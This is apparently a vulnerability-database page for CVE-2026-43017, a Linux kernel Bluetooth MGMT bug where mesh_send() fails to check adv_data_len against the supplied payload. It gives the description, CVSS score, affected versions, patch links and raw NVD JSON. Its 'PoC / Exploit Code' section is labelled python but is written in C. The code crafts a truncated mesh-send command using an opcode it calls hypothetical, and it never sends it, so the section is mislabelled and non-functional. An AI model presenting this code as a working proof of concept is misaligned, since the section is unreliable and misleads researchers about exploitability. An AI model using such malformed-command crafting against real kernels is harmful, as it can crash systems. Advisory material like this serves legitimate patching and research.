CVE-2026-43017

Description

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: validate mesh send advertising payload length mesh_send() currently bounds MGMT_OP_MESH_SEND by total command length, but it never verifies that the bytes supplied for the flexible adv_data[] array actually match the embedded adv_data_len field. MGMT_MESH_SEND_SIZE only covers the fixed header, so a truncated command can still pass the existing 20..50 byte range check and later drive the async mesh send path past the end of the queued command buffer. Keep rejecting zero-length and oversized advertising payloads, but validate adv_data_len explicitly and require the command length to exactly match the flexible array size before queueing the request.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (特定提交修复前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Proof of Concept for CVE-2026-43017
// This code demonstrates the concept of crafting a malformed MGMT command.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// MGMT Command Header structure (simplified)
struct mgmt_hdr {
    unsigned short opcode;
    unsigned short index;
    unsigned short len;
    unsigned char  pad[2];
};

// MESH_SEND command structure (simplified)
struct mgmt_mesh_send {
    unsigned char  instance;
    unsigned short adv_data_len; // The vulnerable field
    // Followed by adv_data[]
};

int main() {
    // Allocate buffer for command
    int buffer_size = sizeof(struct mgmt_hdr) + sizeof(struct mgmt_mesh_send);
    char *buffer = malloc(buffer_size);
    memset(buffer, 0, buffer_size);

    struct mgmt_hdr *hdr = (struct mgmt_hdr *)buffer;
    struct mgmt_mesh_send *cmd = (struct mgmt_mesh_send *)(buffer + sizeof(struct mgmt_hdr));

    // Setup header
    hdr->opcode = 0x0045; // Example MGMT_OP_MESH_SEND opcode (hypothetical)
    hdr->len = buffer_size - sizeof(struct mgmt_hdr);

    // Setup vulnerable command
    cmd->instance = 1;
    // Set adv_data_len larger than actual data provided (0)
    // This triggers the vulnerability in mesh_send()
    cmd->adv_data_len = 20; 

    // In a real scenario, send this buffer via Bluetooth socket
    printf(" crafted malicious MGMT command with truncated adv_data_len.\n");

    free(buffer);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43017
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43017
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43017/
[4] VulDB https://vuldb.com/cve/CVE-2026-43017
[5] https://git.kernel.org/stable/c/0b706fb2294aff3adfd54653bda1b5e356ad4566
[6] https://git.kernel.org/stable/c/244b639e6a3a8e26241e201004a3a9f764476631
[7] https://git.kernel.org/stable/c/24fa32369cf15d8fc918bdfe94097b12e6acada0
[8] https://git.kernel.org/stable/c/562ed1954f0c1bff3422b7b752bd3dacf185edbf
[9] https://git.kernel.org/stable/c/bda93eec78cdbfe5cda00785cefebd443e56b88b
[10] https://git.kernel.org/stable/c/edb5898cfa91afe7e8f83eda18d93034c953d632

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43017", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:45.837", "lastModified": "2026-05-08T14:13:28.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: validate mesh send advertising payload length\n\nmesh_send() currently bounds MGMT_OP_MESH_SEND by total command\nlength, but it never verifies that the bytes supplied for the\nflexible adv_data[] array actually match the embedded adv_data_len\nfield. MGMT_MESH_SEND_SIZE only covers the fixed header, so a\ntruncated command can still pass the existing 20..50 byte range\ncheck and later drive the async mesh send path past the end of the\nqueued command buffer.\n\nKeep rejecting zero-length and oversized advertising payloads, but\nvalidate adv_data_len explicitly and require the command length to\nexactly match the flexible array size before queueing the request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.168", "matchCriteriaId": "D160CC79-0918-4708-9668-A084BD88B42B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0b706fb2294aff3adfd54653bda1b5e356ad4566", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/244b639e6a3a8e26241e201004a3a9f764476631", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/24fa32369cf15d8fc918bdfe94097b12e6acada0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/562ed1954f0c1bff3422b7b752bd3dacf185edbf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bda93eec78cdbfe5cda00785cefebd443e56b88b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/edb5898cfa91afe7e8f83eda18d93034c953d632", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}